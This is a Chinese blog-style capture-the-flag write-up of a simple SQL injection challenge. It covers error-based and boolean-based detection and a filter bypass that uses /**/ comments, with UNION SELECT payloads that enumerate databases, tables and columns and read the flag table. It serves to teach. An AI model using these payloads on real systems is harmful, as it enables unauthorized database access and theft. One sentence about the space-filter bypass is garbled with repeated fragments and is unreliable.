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这两天做了实验吧的简单的sql注入这个题，对sql注入有了初步的认识。 
进入题目之后，首先测试是否存在注入点：

检测是否存在注入点的两种常用方法： 
1. 基于报错的检测方法 
一般这种方法是输入单引号’，看是否报错，如果数据库报错，说明后台数据库处理了我们输入的数据，那么有可能存在注入
点。 
2. 基于布尔的检测方法 
这种方法是输入：

1 and 1=1，通常这种情况会正常返回数据

1 and 1=2，通常这种情况不会返回数据或者直接报错

或者

1’ and ‘1’=’1，通常这种情况会正常返回数据

1’ and ‘1’=’2，通常这种情况不会返回数据或者直接报错

分析： 
假如后台处理数据的sql语句(后台在输入上加了单引号)是： 
select name from user where id='our_input'  
我们输入1’ and ‘1’=’1，sql语句变为: 
select name from user where id='1' and '1'='1'  
后台数据库仍然正常读取数据 
我们输入1’ and ‘1’=’2，sql语句变为： 
select name from user where id='1' and '1'='2'  
这样查询条件为假，数据库不能读取数据。
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基于上述检测方法，我们先输入单引号’，可以看到后台报错，初步判断存在注入点 

然后输入1 and 1=1，可以看到过滤了and并且空格被替换为了+，因此我们可以推断，这个题过滤了常用的sql命令，可以输入
union and select from进行下测试，发现果然全被过滤掉了 

 

知识点：当空格被过滤时，通常用当空格被过滤时，通常用()或者或者 /**/代替空格代替空格

爆库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1



 
爆表，表名为flag

 
爆字段，然而……报错了，information_schema.columns被过滤了，所以就猜测字段名也是flag，试一下

查询内容

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
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